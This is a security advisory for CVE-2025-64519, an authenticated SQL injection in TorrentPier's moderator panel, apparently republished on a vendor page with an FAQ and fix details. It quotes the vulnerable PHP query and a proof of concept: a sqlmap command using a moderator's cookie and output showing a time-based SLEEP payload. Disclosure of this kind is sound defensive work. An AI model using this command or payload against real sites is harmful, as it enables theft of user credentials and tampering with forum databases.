CVE-2025-64519

An authenticated SQL injection vulnerability exists in the moderator control panel (modcp.php). Users with moderator permissions can exploit this vulnerability by supplying a malicious topic_id (t) parameter. This allows an authenticated moderator to execute arbitrary SQL queries, leading to the potential disclosure, modification, or deletion of any data in the database.

Details

The vulnerability is triggered when modcp.php processes a request that includes a topic_id (t parameter). The value of $topic_id is taken directly from user input and is not sanitized or parameterized before being concatenated into an SQL query.

This occurs within the initial data retrieval block for a given topic ID.

Vulnerable Code Block in modcp.php (lines 111-122):

if ($topic_id) {
    $sql = "
		SELECT
			f.forum_id, f.forum_name, f.forum_topics, f.self_moderated,
			t.topic_first_post_id, t.topic_poster
		FROM " . BB_TOPICS . " t, " . BB_FORUMS . " f
		WHERE t.topic_id = $topic_id
			AND f.forum_id = t.forum_id
		LIMIT 1
	";

    if (!$topic_row = DB()->fetch_row($sql)) {
        bb_die($lang['INVALID_TOPIC_ID_DB']);
    }
    // ...
}

In the WHERE t.topic_id = $topic_id clause, the $topic_id variable is directly embedded into the query string. An attacker can inject SQL syntax (e.g., boolean logic, time-based functions) into the t parameter to manipulate the query's execution.

PoC

This is a time-based blind SQL injection vulnerability that requires moderator privileges.

Prerequisites:

1. A running instance of TorrentPier.
2. An account with moderator permissions.

Steps to Reproduce:

1. Log in as a moderator.
2. Obtain your full session cookie string from your browser's developer tools.
3. Use sqlmap to automate the exploitation. The tool will test the t parameter for vulnerabilities.

sqlmap Command:
(Note: Replace https://localhost with the target URL and "your_full_cookie_string" with the actual cookie data from your browser session, e.g., "key1=value1; key2=value2").

sqlmap -u "https://localhost/modcp.php?mode=lock&t=1" -p t --cookie "your_full_cookie_string" --dbms mysql --technique T --current-db

sqlmap Output Confirmation:
The following output from sqlmap confirms successful exploitation:

---
Parameter: t (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: mode=lock&t=1 AND (SELECT 9461 FROM (SELECT(SLEEP(5)))KxhM)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetching current database
[INFO] retrieved: torrentpier
current database: 'torrentpier'

This is an authenticated SQL Injection vulnerability. Although it requires moderator privileges, it is still severe. A malicious or compromised moderator account can leverage this vulnerability to:

• Read sensitive data: Extract any information from the database, including user credentials (password hashes), private messages, email addresses, and other private data.
• Modify data: Alter records in the database, such as elevating their own or other users' privileges to administrator level.
• Delete data: Corrupt or destroy forum data by dropping tables or deleting records.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2025-64519 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.8.9); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-64519? CVE-2025-64519 is a high-severity SQL injection vulnerability in torrentpier/torrentpier (composer), affecting versions <= 2.8.8. It is fixed in 2.8.9. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2025-64519? CVE-2025-64519 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of torrentpier/torrentpier are affected by CVE-2025-64519? torrentpier/torrentpier (composer) versions <= 2.8.8 is affected.
4. Is there a fix for CVE-2025-64519? Yes. CVE-2025-64519 is fixed in 2.8.9. Upgrade to this version or later.
5. Is CVE-2025-64519 exploitable, and should I be worried? Whether CVE-2025-64519 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-64519 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-64519? Upgrade torrentpier/torrentpier to 2.8.9 or later.